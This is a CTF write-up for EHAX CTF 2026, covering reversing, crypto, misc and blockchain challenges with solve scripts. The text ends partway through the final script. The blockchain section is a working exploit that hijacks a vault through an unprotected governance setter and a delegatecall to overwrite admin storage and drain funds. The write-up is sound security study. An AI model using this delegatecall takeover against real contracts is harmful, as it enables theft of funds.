7191 words
36 minutes
EHAX Capture The Flag 2026 - Writeup

hi everyone! I’m back with another CTF writeup. This time I participated in EHAX CTF 2026 and worked through a diverse set of challenges across multiple categories including Reverse Engineering, Crypto, Misc, Blockchain, Web, Pwn, and Forensics. The challenges ranged from binary reversing with radare2 to blockchain exploitation and VM-based pwn. Let me walk you through my solutions.

Reverse Engineering#

Pathfinder#

Category: Reverse Engineering
Flag: EHAX{2E3S2W6S8E2NE2S}

Challenge Description#

You can go funky ways

Analysis#

file "pathfinder"
pathfinder: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=49d4c26d0aea83a8776dafd321a309b57fe2a66b, for GNU/Linux 4.4.0, stripped

The binary being a stripped PIE ELF told me I should expect minimal symbol help and runtime-resolved addresses, so I started by hunting high-signal constants and prompts before deep control-flow work.

strings -a "pathfinder" | rg -i "EHAX\{|pathfinder|best path|Flag"
EHAX{
Are you a pathfinder?
Ok, tell me the best path:
You have what it takes. Flag: %s

That immediately confirmed two important things: the challenge was definitely expecting a path string as input, and the final formatter already hardcoded the event prefix.

r2 -e scr.color=0 -A -q -c 's 0x11ee;pdg' "pathfinder" | rg "for \(var_ch|0x2020|0x40a0|fcn\.000011c9|\*\(var_ch"
for (var_ch = 0; var_ch < 100; var_ch = var_ch + 1) {
    uVar1 = *(var_ch + 0x2020);
    uVar2 = fcn.000011c9(var_ch);
    *(var_ch + 0x40a0) = uVar1 ^ uVar2;
r2 -e scr.color=0 -A -q -c 's 0x11c9;pdg' "pathfinder"
uint32_t fcn.000011c9(int64_t arg1)
{
    return arg1 << 3 ^ arg1 * 0x1f + 0x11U ^ 0xffffffa5;
}

This was the first real click: a 100-byte blob from .rodata gets XOR-decoded with an index-dependent keystream into a 10x10 table at 0x40a0. So the “pathfinder” prompt is really a maze/graph walk checker backed by decoded cell metadata.

r2 -e scr.color=0 -A -q -c 's 0x1444;pdg' "pathfinder"
bool fcn.00001444(char *arg1)
{
    ...
    if (*var_18h == '\0') {
        if ((var_28h == 9) && (var_24h == 9)) {
            iVar8 = fcn.0000126b(arg1);
            bVar9 = iVar8 == -0x7945adf4;
        }
        ...
    }
    uVar3 = *(uVar1 * 0xc + 0x4120);
    uVar2 = *(uVar1 * 0xc + 0x4128);
    ...
    uVar4 = fcn.0000123f(var_28h,var_24h);
    uVar5 = fcn.0000123f(uVar6,uVar7);
    if ((uVar5 & (uVar1 * 'k' ^ var_4h._1_1_ ^ 0x3c)) == 0 &&
        (uVar4 & (uVar1 * 'k' ^ var_4h ^ 0x3c)) == 0) {
        return false;
    }
    ...
}
r2 -e scr.color=0 -A -q -c 's 0x1602;pdg' "pathfinder" | rg "EHAX\{|%d%c|var_14h < 2|\*s = cVar1|\*s = '\\}'|sprintf"
iVar2 = sym.imp.sprintf(arg2,"EHAX{");
if (var_14h < 2) {
    *s = cVar1;
    iVar2 = sym.imp.sprintf(s,"%d%c",var_14h,cVar1);
*s = '}';

From the validator, each character (N/S/E/W) selects a 12-byte movement descriptor from 0x4120, updates (x,y) accumulators, and checks movement legality with per-cell bitmasks. The end condition is exact: land on (9,9) and satisfy the hash gate. The formatter at 0x1602 run-length-encodes the successful raw path between EHAX{ and } (single chars stay literal, repeated runs become count+char).

# recover_path.py
from collections import deque
from pathlib import Path

blob = Path("pathfinder").read_bytes()[0x2020:0x2020 + 100]

def key(i: int) -> int:
    return ((((i << 3) & 0xFFFFFFFF) ^ ((i * 0x1F + 0x11) & 0xFFFFFFFF) ^ 0xFFFFFFA5) & 0xFF)

grid = [b ^ key(i) for i, b in enumerate(blob)]

step = {
    "N": (-1, 0, 0x04, 0x01),
    "S": ( 1, 0, 0x01, 0x04),
    "E": ( 0, 1, 0x02, 0x08),
    "W": ( 0,-1, 0x08, 0x02),
}

def cell(r, c):
    return grid[r * 10 + c]

def can_move(r, c, ch):
    dr, dc, m_cur, m_next = step[ch]
    nr, nc = r + dr, c + dc
    if not (0 <= nr < 10 and 0 <= nc < 10):
        return False
    return not ((cell(nr, nc) & m_next) == 0 and (cell(r, c) & m_cur) == 0)

q = deque([(0, 0, "")])
seen = {(0, 0)}
while q:
    r, c, p = q.popleft()
    if (r, c) == (9, 9):
        print("path", p)
        break
    for ch in "NSEW":
        if can_move(r, c, ch):
            dr, dc, _, _ = step[ch]
            nr, nc = r + dr, c + dc
            if (nr, nc) not in seen:
                seen.add((nr, nc))
                q.append((nr, nc, p + ch))
# recover_path_runtime.py
from collections import deque
from pathlib import Path

b = Path("pathfinder").read_bytes()
enc = b[0x2020:0x2020 + 100]

def key(i: int) -> int:
    return ((((i << 3) & 0xFFFFFFFF) ^ ((i * 0x1F + 0x11) & 0xFFFFFFFF) ^ 0xFFFFFFA5) & 0xFF)

grid = [c ^ key(i) for i, c in enumerate(enc)]
step = {
    "N": (-1, 0, 0x04, 0x01),
    "S": (1, 0, 0x01, 0x04),
    "E": (0, 1, 0x02, 0x08),
    "W": (0, -1, 0x08, 0x02),
}

def cell(r: int, c: int) -> int:
    return grid[r * 10 + c]

def ok(r: int, c: int, ch: str) -> bool:
    dr, dc, m0, m1 = step[ch]
    nr, nc = r + dr, c + dc
    if not (0 <= nr < 10 and 0 <= nc < 10):
        return False
    return not (((cell(nr, nc) & m1) == 0) and ((cell(r, c) & m0) == 0))

q = deque([(0, 0, "")])
seen = {(0, 0)}

while q:
    r, c, p = q.popleft()
    if (r, c) == (9, 9):
        print("path", p)
        break
    for ch in "NSEW":
        if ok(r, c, ch):
            dr, dc, _, _ = step[ch]
            nr, nc = r + dr, c + dc
            if (nr, nc) not in seen:
                seen.add((nr, nc))
                q.append((nr, nc, p + ch))
from collections import deque
from pathlib import Path

b = Path("pathfinder").read_bytes()
enc = b[0x2020:0x2020 + 100]
def key(i):
    return ((((i << 3) & 0xffffffff) ^ ((i * 0x1f + 0x11) & 0xffffffff) ^ 0xffffffa5) & 0xff)
grid = [c ^ key(i) for i, c in enumerate(enc)]
step = {
    "N": (-1, 0, 0x04, 0x01),
    "S": (1, 0, 0x01, 0x04),
    "E": (0, 1, 0x02, 0x08),
    "W": (0, -1, 0x08, 0x02),
}
def cell(r, c): return grid[r * 10 + c]
def ok(r, c, ch):
    dr, dc, m0, m1 = step[ch]; nr, nc = r + dr, c + dc
    if not (0 <= nr < 10 and 0 <= nc < 10):
        return False
    return not (((cell(nr, nc) & m1) == 0) and ((cell(r, c) & m0) == 0))
q = deque([(0, 0, "")]); seen={(0,0)}
while q:
    r,c,p=q.popleft()
    if (r,c)==(9,9):
        print("path",p)
        break
    for ch in "NSEW":
        if ok(r,c,ch):
            dr,dc,_,_=step[ch]
            nr,nc=r+dr,c+dc
            if (nr,nc) not in seen:
                seen.add((nr,nc)); q.append((nr,nc,p+ch))
path EESSSWWSSSSSSEEEEEEEENNESS

Once the BFS gave a single clean route to (9,9), that path was exactly what the checker wanted.

dance

printf "y\nEESSSWWSSSSSSEEEEEEEENNESS\n" | ./pathfinder
Are you a pathfinder?
[y/n]: Ok, tell me the best path: You have what it takes. Flag: EHAX{2E3S2W6S8E2NE2S}
Bye.

The binary accepted the route and printed the final run-length encoded flag directly.

Solution#

# solve.py
from collections import deque
from pathlib import Path

BINARY = "pathfinder"
OFFSET = 0x2020
SIZE = 100


def key(i: int) -> int:
    return ((((i << 3) & 0xFFFFFFFF) ^ ((i * 0x1F + 0x11) & 0xFFFFFFFF) ^ 0xFFFFFFA5) & 0xFF)


def decode_grid() -> list[int]:
    data = Path(BINARY).read_bytes()[OFFSET:OFFSET + SIZE]
    return [b ^ key(i) for i, b in enumerate(data)]


def can_move(grid: list[int], r: int, c: int, d: str) -> tuple[bool, int, int]:
    step = {
        "N": (-1, 0, 0x04, 0x01),
        "S": ( 1, 0, 0x01, 0x04),
        "E": ( 0, 1, 0x02, 0x08),
        "W": ( 0,-1, 0x08, 0x02),
    }
    dr, dc, m_cur, m_next = step[d]
    nr, nc = r + dr, c + dc
    if not (0 <= nr < 10 and 0 <= nc < 10):
        return False, nr, nc

    def cell(x: int, y: int) -> int:
        return grid[x * 10 + y]

    blocked = (cell(nr, nc) & m_next) == 0 and (cell(r, c) & m_cur) == 0
    return (not blocked), nr, nc


def shortest_path(grid: list[int]) -> str:
    q = deque([(0, 0, "")])
    seen = {(0, 0)}
    while q:
        r, c, p = q.popleft()
        if (r, c) == (9, 9):
            return p
        for d in "NSEW":
            ok, nr, nc = can_move(grid, r, c, d)
            if ok and (nr, nc) not in seen:
                seen.add((nr, nc))
                q.append((nr, nc, p + d))
    raise RuntimeError("No valid path found")


def rle_path(path: str) -> str:
    out = []
    i = 0
    while i < len(path):
        j = i
        while j < len(path) and path[j] == path[i]:
            j += 1
        run = j - i
        if run == 1:
            out.append(path[i])
        else:
            out.append(f"{run}{path[i]}")
        i = j
    return "".join(out)


def main() -> None:
    grid = decode_grid()
    path = shortest_path(grid)
    print(f"EHAX{{{rle_path(path)}}}")


if __name__ == "__main__":
    main()
python3.12 solve.py
EHAX{2E3S2W6S8E2NE2S}

i guess bro#

Category: Reverse Engineering
Flag: EH4X{y0u_gu3ss3d_th4t_r1sc_cr4ckm3}

Challenge Description#

meh yet another crackme challenge

Analysis#

file "chall"
chall: ELF 64-bit LSB executable, UCB RISC-V, RVC, double-float ABI, version 1 (SYSV), statically linked, ... stripped
checksec "chall"
Arch:       riscv64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x10000)

The first pass showed a static, stripped RISC-V binary. Since qemu-riscv64 was not present in this environment, I treated it as a static reversing problem and leaned on r2 decompilation plus constant extraction instead of runtime execution.

strings -a "chall" | rg -i "I Guess Bro|Wrong length|Correct!|Flag: %s|EH4X\{"
'I Guess Bro' - Hard Mode
Wrong length! Keep guessing...
Correct! You guessed it!
Flag: %s
EH4X{n0t_th3_r34l_fl4g}
EH4X{try_h4rd3r_buddy}

Seeing two ready-made EH4X{...} candidates this early looked suspicious, and the challenge style screamed decoy checks.

r2 -e scr.color=0 -A -q -c "s 0x1037e; af; pdg" "chall" | rg "fcn.00010732|Wrong length|Correct!|Flag: %s|== 0x23|Input error"
fcn.000151c4("Input error!");
if (iVar1 == 0x23) {
    iVar1 = fcn.00010732(auStack_90);
        fcn.000151c4("\n🎉 Correct! You guessed it!\n");
        fcn.000110d4("Flag: %s\n",auStack_90);
    fcn.000151c4("Wrong length! Keep guessing...");
r2 -e scr.color=0 -A -q -c "s 0x10732; af; pdg" "chall" | rg "n0t_th3_r34l_fl4g|try_h4rd3r_buddy|Debugger detected|0xc351|fcn.000105cc|fcn.00010622|fcn.00010574|0x1fb53791|0xcab|-0x7e30f90b5f734a11"
iVar1 = fcn.0001eaf0(param_1,"EH4X{n0t_th3_r34l_fl4g}");
iVar1 = fcn.0001eaf0(param_1,"EH4X{try_h4rd3r_buddy}");
if (iVar2 - iVar1 < 0xc351) {
    iVar1 = fcn.000105cc(param_1);
    if ((iVar1 != 0) && (iVar1 = fcn.00010622(param_1), iVar1 != 0)) {
        iVar1 = fcn.00010574(param_1,0x23);
        return iVar1 == -0x7e30f90b5f734a11;
    }
    fcn.000151c4("Debugger detected! Exiting...");

That decompilation confirmed the trick: both visible flags are explicitly rejected first, then real validation happens through three helper checks. So the shortest path was to reverse those helpers and recover the expected 35-byte input directly.

r2 -e scr.color=0 -A -q -c "s 0x105cc; af; pdg" "chall" | rg "0x57bc8|0x57beb|\^ 0xa5|uVar4 = uVar4 \+ 7"
puVar5 = 0x57bc8;
*puVar3 = uVar1 ^ uVar4 ^ 0xa5;
uVar4 = uVar4 + 7;
} while (puVar5 != 0x57beb);
r2 -q -c "pxj 35 @ 0x57bc8" "chall"
[224,234,159,232,194,255,191,225,194,253,150,219,130,141,244,168,138,166,179,20,93,105,77,53,126,105,76,123,19,90,20,23,40,113,54]
# decode_table.py
data = [
    224,234,159,232,194,255,191,225,194,253,150,219,130,141,244,168,138,
    166,179,20,93,105,77,53,126,105,76,123,19,90,20,23,40,113,54
]

out = []
k = 0
for b in data:
    out.append((b ^ k ^ 0xA5) & 0xFF)
    k = (k + 7) & 0xFF

print(bytes(out).decode())
data=[224,234,159,232,194,255,191,225,194,253,150,219,130,141,244,168,138,166,179,20,93,105,77,53,126,105,76,123,19,90,20,23,40,113,54]
out=[]
k=0
for b in data:
    out.append((b^k^0xa5)&0xff)
    k=(k+7)&0xff
print(bytes(out).decode())
EH4X{y0u_gu3ss3d_th4t_r1sc_cr4ckm3}

The decoded string looked right, but I still verified it against every remaining constraint from fcn.00010622 and fcn.00010574 so it was not just a plausible-looking decode.

r2 -e scr.color=0 -A -q -c "s 0x10622; af; pdg" "chall" | rg "param_1\[0x22\] == 0x7d|iVar3 == 0xcab|0x3b9aca07|0x1fb53791|aiStack_18\[0\] = 5|aiStack_18\[5\] = 0x1e"
((param_1[4] == 0x7b && (param_1[0x22] == 0x7d)))) {
if (iVar3 == 0xcab) {
aiStack_18[0] = 5;
aiStack_18[5] = 0x1e;
uVar5 = (param_1[iVar3] * uVar5) % 0x3b9aca07;
return uVar5 == 0x1fb53791;
# verify_constraints.py
flag = b"EH4X{y0u_gu3ss3d_th4t_r1sc_cr4ckm3}"

print("len", len(flag))
print("prefix", flag[:5] == b"EH4X{" and flag[0x22] == 0x7D)
print("sum", hex(sum(flag)))

idx = [5, 10, 15, 20, 25, 30]
mod = 0x3B9ACA07
prod = 1
for i in idx:
    prod = (prod * flag[i]) % mod
print("prod", hex(prod))

def mix(x: int, i: int) -> int:
    x = ((0x5851F42D4C957F2D >> (i & 0x3F)) ^ x) & 0xFFFFFFFFFFFFFFFF
    return (((x >> 0x33) + ((x * 0x2000) & 0xFFFFFFFFFFFFFFFF)) ^ 0xEBFA848108987EB0) & 0xFFFFFFFFFFFFFFFF

x = 0xDEADBEEF
for i, b in enumerate(flag):
    x = mix(x ^ ((b << ((i & 7) << 3)) & 0xFFFFFFFFFFFFFFFF), i)

print("hash", hex(x))
print("target", hex((-0x7E30F90B5F734A11) & 0xFFFFFFFFFFFFFFFF))
flag=b'EH4X{y0u_gu3ss3d_th4t_r1sc_cr4ckm3}'
print('len',len(flag))
print('prefix', flag[:5]==b'EH4X{' and flag[0x22]==0x7d)
print('sum', hex(sum(flag)))
idx=[5,10,15,20,25,30]
mod=0x3b9aca07
prod=1
for i in idx:
    prod=(prod*flag[i])%mod
print('prod', hex(prod))
def mix(x,i):
    x=((0x5851f42d4c957f2d >> (i & 0x3f)) ^ x) & 0xffffffffffffffff
    return (((x >> 0x33) + ((x * 0x2000)&0xffffffffffffffff)) ^ 0xebfa848108987eb0) & 0xffffffffffffffff
x=0xdeadbeef
for i,b in enumerate(flag):
    x=mix(x ^ ((b << ((i & 7)<<3)) & 0xffffffffffffffff), i)
print('hash', hex(x))
print('target', hex((-0x7e30f90b5f734a11) & 0xffffffffffffffff))
len 35
prefix True
sum 0xcab
prod 0x1fb53791
hash 0x81cf06f4a08cb5ef
target 0x81cf06f4a08cb5ef

Finally I re-extracted from raw file bytes at the decoded table offset to make sure the recovered flag came straight from the challenge artifact, not from any decompiler artifact.

smug

# extract_flag.py
from pathlib import Path

p = Path("/home/rei/Downloads/chall").read_bytes()
enc = p[0x47BC8:0x47BC8 + 35]
flag = bytes((b ^ ((i * 7) & 0xFF) ^ 0xA5) & 0xFF for i, b in enumerate(enc))
print(flag.decode())
from pathlib import Path
p=Path('/home/rei/Downloads/chall').read_bytes()
enc=p[0x47bc8:0x47bc8+35]
flag=bytes((b ^ ((i*7)&0xff) ^ 0xa5) & 0xff for i,b in enumerate(enc))
print(flag.decode())
EH4X{y0u_gu3ss3d_th4t_r1sc_cr4ckm3}

Solution#

# solve.py
from pathlib import Path


def decode_flag(binary_path: str) -> str:
    data = Path(binary_path).read_bytes()
    enc = data[0x47BC8:0x47BC8 + 35]
    out = bytes((b ^ ((i * 7) & 0xFF) ^ 0xA5) & 0xFF for i, b in enumerate(enc))
    return out.decode()


if __name__ == "__main__":
    print(decode_flag("chall"))
python3.12 solve.py
EH4X{y0u_gu3ss3d_th4t_r1sc_cr4ckm3}

Crypto#

Killer Queen#

Category: Crypto
Flag: EH4X{Cav1aR_c1Gar3TT3s_Ch3bYsH3V_05091946}

Challenge Description#

She keeps her Moët et Chandon in her pretty cabinet.

Nothing she offers is accidental. Nothing she withholds is without reason.

Recommended at the price, insatiable an appetite — wanna try?

Analysis#

unzip -l "Handout.zip"
Archive:  Handout.zip
...
  Handout/Killer-Queen/Freddie.txt
  Handout/Killer-Queen/Lyrics/ciggarettes.txt
  Handout/Killer-Queen/Lyrics/dynamite.txt
  Handout/Killer-Queen/Lyrics/fibonacci.txt
  Handout/Killer-Queen/Lyrics/laserbeam.txt
  Handout/Killer-Queen/Notes/antoinette.md
  Handout/Killer-Queen/Notes/biography.md
  Handout/Killer-Queen/Notes/curves.md
  Handout/Killer-Queen/Notes/sheet_music.md

The handout immediately looked like a guided crypto puzzle, with the notes explicitly pointing to Chebyshev composition and a two-layer lock. That matters because it shifts the approach from “break one huge primitive” to “recover the intended pipeline and replay it cleanly.”

rg -n "Chebyshev|T_m\(T_n\(x\)\)|first door|second door|SHA-256|unwrap|two voices|index" "/home/rei/Downloads/killerqueen_work/Handout/Killer-Queen"
.../Lyrics/fibonacci.txt:17:  T_m(T_n(x)) = T_{m·n}(x)
.../Notes/sheet_music.md:58: ♩  The stream is locked behind two doors.
.../Notes/sheet_music.md:59: ♩  The first door opens with the index.
.../Notes/sheet_music.md:60: ♩  The second door is built in blocks
.../Notes/sheet_music.md:63: ♩  SHA-256 derives the second key
.../Notes/sheet_music.md:72:•  The Queen speaks in two voices
.../Notes/sheet_music.md:81:You'll need to unwrap what's inside — twice.

The service behavior matched those hints exactly: one query gives two related voice values for the same index, and public iv/ciphertext are fixed for that session.

happy

printf '0\n1\n2\n3\n4\n5\nexit\n' | nc 20.244.7.184 7331
...
p          = 7073193951809819973664306187302601643156849222029017483853417297144476949947829139698672438579337709916095808633124126138796016767532929021864211602000001
v          = 5587994941705590424272649068295916108274072829805484356511387258719009236678476179597670504915988561703594735329013208151470008715612024345889541886986304
iv         = f9c60e2a62756a6ebcd59c589dfd61b6
ciphertext = ad218e83bffe076fbceeddc17f540cd3089e3c4e6309a0e63c7f7cbed1c8b0f9fd2aced60c79a00de855acb4d5047bcd

[20 left] q>   pretty_cabinet = 1
  moet_chandon   = 1

[19 left] q>   pretty_cabinet = 5587994941705590424272649068295916108274072829805484356511387258719009236678476179597670504915988561703594735329013208151470008715612024345889541886986304
  moet_chandon   = 6224016679887966716101625712054632071019252852377882598120412242331086101200983099281554722925606107557863470191553080919315116795993075331627024609220227
...

From there the final solve path was to derive material from moet_chandon(q) in index order, decrypt the AES-CBC outer layer, unpad, then do the second unwrap as a blockwise XOR stream where each 16-byte block is SHA256(str(moet_chandon(i)))[:16]. I tried heavier DLP-centric routes first, but those dead ends were useful because they confirmed the challenge was more about composition and serialization correctness than defeating the largest subgroup factor.

python3.12 "/home/rei/Downloads/killerqueen_work/Handout/Killer-Queen/solve_killerqueen.py"
[+] p bits: 512
[+] v: 11305618717155759150724013649828687503261898264977063258438514099154408236632078431105146562036594498971222989731073226625866287035766764084910955827909772
[+] iv: 83f4896579e6e4a8f29272ae5feef4ff
[+] ciphertext bytes: 48
[+] plaintext: EH4X{Cav1aR_c1Gar3TT3s_Ch3bYsH3V_05091946}
[+] FLAG: EH4X{Cav1aR_c1Gar3TT3s_Ch3bYsH3V_05091946}

Running it against the real remote session verified the whole chain end-to-end and produced the real flag in plaintext.

Solution#

# solve.py
import re
import socket
from hashlib import sha256

from Crypto.Cipher import AES


HOST = "20.244.7.184"
PORT = 7331


def must_match(pattern: str, data: str, flags: int = 0) -> re.Match[str]:
    match = re.search(pattern, data, flags)
    if match is None:
        raise ValueError(f"pattern not found: {pattern}")
    return match


def recv_until(sock: socket.socket, marker: bytes) -> bytes:
    data = b""
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data += chunk
    return data


def parse_public(blob: str):
    p = int(must_match(r"^\s*p\s*=\s*(\d+)\s*$", blob, re.M).group(1))
    v = int(must_match(r"^\s*v\s*=\s*(\d+)\s*$", blob, re.M).group(1))
    iv = bytes.fromhex(must_match(r"^\s*iv\s*=\s*([0-9a-f]+)\s*$", blob, re.M).group(1))
    ciphertext = bytes.fromhex(
        must_match(r"^\s*ciphertext\s*=\s*([0-9a-f]+)\s*$", blob, re.M).group(1)
    )
    return p, v, iv, ciphertext


def parse_oracle_reply(blob: str):
    pretty = int(must_match(r"pretty_cabinet\s*=\s*(\d+)", blob).group(1))
    moet = int(must_match(r"moet_chandon\s*=\s*(\d+)", blob).group(1))
    return pretty, moet


def pkcs7_unpad(data: bytes) -> bytes:
    pad = data[-1]
    if pad < 1 or pad > 16 or data[-pad:] != bytes([pad]) * pad:
        raise ValueError("invalid PKCS#7 padding")
    return data[:-pad]


def main() -> None:
    with socket.create_connection((HOST, PORT), timeout=10) as sock:
        sock.settimeout(5)
        banner = recv_until(sock, b"q> ").decode(errors="replace")
        p, v, iv, ciphertext = parse_public(banner)

        print(f"[+] p bits: {p.bit_length()}")
        print(f"[+] v: {v}")
        print(f"[+] iv: {iv.hex()}")
        print(f"[+] ciphertext bytes: {len(ciphertext)}")

        moet_values = {}
        for q in range(1, 21):
            sock.sendall(f"{q}\n".encode())
            reply = recv_until(sock, b"q> ").decode(errors="replace")
            if "yawns" in reply or "Goodbye" in reply:
                break
            _, moet = parse_oracle_reply(reply)
            moet_values[q] = moet

    outer_key = sha256(str(moet_values[1]).encode()).digest()[:16]
    inner = AES.new(outer_key, AES.MODE_CBC, iv).decrypt(ciphertext)
    inner = pkcs7_unpad(inner)

    block_count = (len(inner) + 15) // 16
    stream = b"".join(
        sha256(str(moet_values[i]).encode()).digest()[:16]
        for i in range(1, block_count + 1)
    )

    plaintext = bytes(a ^ b for a, b in zip(inner, stream)).decode(errors="replace")
    flag_match = re.search(r"EH4X\{[^}]+\}", plaintext)
    if flag_match is None:
        raise RuntimeError(f"flag not found in plaintext: {plaintext!r}")

    print(f"[+] plaintext: {plaintext}")
    print(f"[+] FLAG: {flag_match.group(0)}")


if __name__ == "__main__":
    main()
python3.12 solve.py
[+] p bits: 512
[+] v: 11305618717155759150724013649828687503261898264977063258438514099154408236632078431105146562036594498971222989731073226625866287035766764084910955827909772
[+] iv: 83f4896579e6e4a8f29272ae5feef4ff
[+] ciphertext bytes: 48
[+] plaintext: EH4X{Cav1aR_c1Gar3TT3s_Ch3bYsH3V_05091946}
[+] FLAG: EH4X{Cav1aR_c1Gar3TT3s_Ch3bYsH3V_05091946}

Misc#

I can also do it#

Category: Misc
Flag: EH4X{1_h4v3_4ll_th3_c3t1f1c4t35}

Challenge Description#

yeah i can do it

Analysis#

dig +short stapat.xyz A
dig +short stapat.xyz AAAA
dig +short @1.1.1.1 stapat.xyz A
dig +short @1.1.1.1 stapat.xyz AAAA
0.0.0.0
::
40.81.242.97

The first weird signal was DNS split behavior: local resolution for stapat.xyz was a sink (0.0.0.0 / ::), but Cloudflare DoH returned a real origin IPv4. That explained why direct curl from this environment looked dead while a normal browser path still worked elsewhere.

blush

curl -sS -L --doh-url "https://1.1.1.1/dns-query" -A "Mozilla/5.0" -i "https://stapat.xyz/"
HTTP/1.1 200 OK
...
<p>Please visit our stores</p>

After forcing DNS-over-HTTPS, the page rendered cleanly and the only actionable clue was the sentence “Please visit our stores.” In a Misc challenge with a tiny prompt, that kind of wording is usually the actual route, not filler text.

curl -sS -k -L --resolve "store.stapat.xyz:443:40.81.242.97" -A "Mozilla/5.0" -i "https://store.stapat.xyz/"
HTTP/1.1 200 OK
...
EH4X{1_h4v3_4ll_th3_c3t1f1c4t35}

Using SNI/Host override with --resolve hit the virtual host directly and immediately returned the flag as plain text. So the whole trick was certificate/vhost routing behind DNS behavior, not user-agent filtering.

dance

Solution#

# solve.py
import re
import subprocess


def run(cmd: list[str]) -> str:
    return subprocess.check_output(cmd, text=True)


def main() -> None:
    ip = run(["dig", "+short", "@1.1.1.1", "stapat.xyz", "A"]).strip().splitlines()[0]

    homepage = run([
        "curl", "-sS", "-L",
        "--doh-url", "https://1.1.1.1/dns-query",
        "-A", "Mozilla/5.0",
        "https://stapat.xyz/",
    ])
    if "Please visit our stores" not in homepage:
        raise RuntimeError("expected clue not found on homepage")

    store = run([
        "curl", "-sS", "-k", "-L",
        "--resolve", f"store.stapat.xyz:443:{ip}",
        "-A", "Mozilla/5.0",
        "https://store.stapat.xyz/",
    ])

    match = re.search(r"EH4X\{[^}]+\}", store)
    if match is None:
        raise RuntimeError("flag not found")

    print(match.group(0))


if __name__ == "__main__":
    main()
python3.12 solve.py
EH4X{1_h4v3_4ll_th3_c3t1f1c4t35}

Blockchain#

heist v1#

Category: Blockchain
Flag: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}

Challenge Description#

the government has released a new vault and now we can add proposals too , what?? , drain the VAULT

Analysis#

from pathlib import Path

print('--- Governance.sol ---')
print(Path('/home/rei/Downloads/Governance.sol').read_text())
print('--- Vault.sol ---')
print(Path('/home/rei/Downloads/Vault.sol').read_text())
--- Governance.sol ---
contract Governance {
    uint256 public proposalCount;
    function setProposal(uint256 x) public {
        proposalCount = x;
    }
}
--- Vault.sol ---
contract Vault {
    bool public paused;
    uint248 public fee;
    address public admin;
    address public governance;
    ...
    function execute(bytes calldata data) public {
        (bool ok,) = governance.delegatecall(data);
        require(ok);
    }
    function withdraw() public {
        require(!paused, "paused");
        require(msg.sender == admin, "not admin");
        payable(msg.sender).transfer(address(this).balance);
    }
    function setGovernance(address _g) public {
        governance = _g;
    }
}

The whole bug is visible in plain Solidity: setGovernance has no access control, and execute does a raw delegatecall into whatever address was just set. Because delegatecall runs in the caller’s storage context, this is effectively “let attacker run arbitrary storage writes inside Vault.” The storage layout is also favorable: slot 0 contains paused/fee, slot 1 is admin, and slot 2 is governance, so a tiny attacker contract can write slot 1 to CALLER and slot 0 to 0, which makes paused = false and admin = player in one shot.

That was one of those suspiciously short blockchain solves where the exploit primitive is cleaner than expected.

smug

python3.12 /home/rei/Downloads/solve_heist_v1.py
RPC URL  : http://135.235.193.111:38075
Vault    : 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
Governance : 0x5FbDB2315678afecb367f032d93F642f64180aa3
...
[+] vault balance before: 5000000000000000000
[+] admin before: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
[+] paused before: True
[+] admin after delegatecall: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
[+] paused after delegatecall: False
[+] vault balance after: 0
[+] solved on-chain: True
FLAG: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}

The exploit script connected to the launcher, parsed instance details, deployed a minimal bytecode contract that stores CALLER into slot 1 and zero into slot 0, repointed governance with setGovernance(attacker), and triggered execute("") so the delegatecall mutated Vault state. After that, withdraw() succeeded from the player account and drained all 5 ETH from the challenge vault. The launcher’s Check solved path returned the real event flag, confirming the state transition and win condition were genuinely satisfied on the remote instance.

Solution#

# solve.py
import re
import time

from eth_account import Account
from pwn import remote
from web3 import Web3


VAULT_ABI = [
    {
        "inputs": [{"internalType": "address", "name": "_g", "type": "address"}],
        "name": "setGovernance",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
    },
    {
        "inputs": [{"internalType": "bytes", "name": "data", "type": "bytes"}],
        "name": "execute",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "withdraw",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "getBalance",
        "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}],
        "stateMutability": "view",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "admin",
        "outputs": [{"internalType": "address", "name": "", "type": "address"}],
        "stateMutability": "view",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "paused",
        "outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
        "stateMutability": "view",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "isSolved",
        "outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
        "stateMutability": "view",
        "type": "function",
    },
]


def parse_instance(text: str):
    rpc = re.search(r"RPC URL\s*:\s*(\S+)", text)
    vault = re.search(r"Vault\s*:\s*(0x[a-fA-F0-9]{40})", text)
    pk = re.search(r"Player Private Key:\s*\n(0x[a-fA-F0-9]+)", text)
    if not (rpc and vault and pk):
        raise RuntimeError("failed to parse instance details")
    return rpc.group(1), Web3.to_checksum_address(vault.group(1)), pk.group(1)


def wait_rpc_ready(w3: Web3, retries: int = 20):
    for _ in range(retries):
        try:
            _ = w3.eth.chain_id
            return
        except Exception:
            time.sleep(0.25)
    raise RuntimeError("rpc not reachable")


def main():
    io = remote("135.235.193.111", 1337)
    io.timeout = 5

    banner = io.recvuntil(b"> ").decode(errors="ignore")
    print(banner, end="")

    rpc_url, vault_addr, player_pk = parse_instance(banner)

    w3 = Web3(Web3.HTTPProvider(rpc_url, request_kwargs={"timeout": 8}))
    wait_rpc_ready(w3)

    acct = Account.from_key(player_pk)
    sender = acct.address
    chain_id = w3.eth.chain_id
    gas_price = w3.eth.gas_price
    nonce = w3.eth.get_transaction_count(sender)

    def send(tx):
        nonlocal nonce
        tx.setdefault("chainId", chain_id)
        tx.setdefault("nonce", nonce)
        tx.setdefault("gasPrice", gas_price)
        tx.setdefault("value", 0)
        tx.setdefault("gas", 300000)
        signed = Account.sign_transaction(tx, player_pk)
        tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
